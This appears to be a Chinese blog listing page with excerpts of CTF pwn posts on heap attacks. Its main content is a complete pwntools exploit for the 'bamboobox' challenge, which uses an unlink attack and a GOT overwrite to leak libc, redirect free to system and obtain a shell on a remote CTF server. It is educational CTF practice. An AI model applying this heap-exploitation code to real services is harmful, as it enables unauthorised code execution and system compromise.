Large Bin Attack 学习记录

这篇文章是在石墨上编写的,可能会存在格式上的一些问题,导致阅读不够流畅。 如果有需要格式较为完善的文件,可以发邮件找我要 PDF 格式的文件。

Largebin Attack 是我一直以来未能攻克的一道难题,不过终于在最近把他弄懂了,其中也少不了长时间的琢磨。 根据我自己浏览各个文章后得到的经验,我建议师傅在学习 Large Bin Attck 的内容时可以对其中的结构进行绘图,并且手动模拟一遍源码的流程以加深理解。

Unsorted Bin Attack 学习记录

之前就接触过unsorted bin相关的很多攻击方法,但是一直没有深入的理解这部分内容。 趁着学习house of storm的机会,阅读了一下相关的源码,加深了对其的理解,也把最近遇到的结合unsorted bin的几种攻击方法包括了进去。 感谢cnitlrt师傅一直以来对我的帮助!cnitlrt师傅实在是太强啦!!ORZ

BJD4th Writeup

我这里放一下我做的两道pwn题,还有一道crypto,以及一道web 本次wp是在石墨文档上创作的(方便好用!),图片也是在那个上面,不知道图片链接后期会不会挂掉。 如果图片挂掉了可以在评论提醒我上传。

Hitcontraining_bamboobox (Unlink or House of Force)

1.unlink 这种方法非常简单,也很容易构造,所以我决定挑战一下不用 show()的写法。 需要 1/16 的概率来正确覆盖到堆地址。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
#context.log_level = "debug"
libc = ELF('./libc.so.6')
elf = ELF('./bamboobox')
def choice(idx):
    r.sendlineafter("Your choice:", str(idx))

def show():
    choice(1)

def add(size, content = 'sh'):
    choice(2)
    r.sendlineafter("Please enter the length of item name:", str(size))
    r.sendafter("Please enter the name of item:", content)

def edit(idx, content):
    choice(3)
    r.sendlineafter("Please enter the index of item:", str(idx))
    r.sendlineafter("Please enter the length of item name:", str(len(content)))
    r.sendafter("Please enter the new name of the item:", content)

def delete(idx):
    choice(4)
    r.sendlineafter("Please enter the index of item:", str(idx))

def pwn():
    add(0x88) #0
    add(0xF8) #1
    add(0x18) #2
    add(0x18) #3
    target = 0x6020C8
    magic = 0x400D49

    # unlink
    FD = target - 0x18
    BK = target - 0x10
    edit(0, p64(0) + p64(0x81) + p64(FD) + p64(BK) + 'a' * (0x80 - 0x20) + p64(0x80))
    delete(1)

    #partial overwrite & free@got -> [email protected] & free@got -> system
    edit(0, p64(0) * 3 + p64(elf.got['free']) + p64(0) + p64(elf.got['free']) + p64(0) + '\x40\x00')
    edit(0, p64(elf.plt['printf'] + 6) + p64(elf.plt['puts'] + 6))
    delete(2)
    malloc_hook_addr = u64(r.recvuntil('\x7f', timeout=1)[-6:].ljust(8, '\x00')) - 88 - 0x10
    if '0x7f' not in hex(malloc_hook_addr):
        raise EOFError
    libc.address = malloc_hook_addr - libc.sym['__malloc_hook']
    edit(1, p64(libc.sym['system']) + p64(elf.plt['puts'] + 6))

    #getshell
    delete(3)
    r.interactive()

while True:
    try:
        #r = process('./bamboobox')
        r = remote('node3.buuoj.cn', 26620)
        pwn()
    except EOFError:
        pass

2.house of force 这是要说明的重点方法,也是我做这道题的根本原因。 往低地址就是两者(low_addr - 0x10) - top_addr,往高地址,就是(high_addr - 0x10 - top_addr) - 0x10

SWPUCTF2020 Corporate_slave _IO_FILE组合利用

题目来源:

感谢cnitlrt师傅的帮助 这道题目是来自于SWPUCTF2020的第三道pwn题,在比赛的时候没有做出来。 这道题目出的真的非常好,做完之后学到了很多 因为之前一直没有做过类似的题目,比赛的时候自然也没有做出来,不过好在有cnitlrt师傅的帮助,可算是做出来了,而且从那里学到了很多新知识。

0%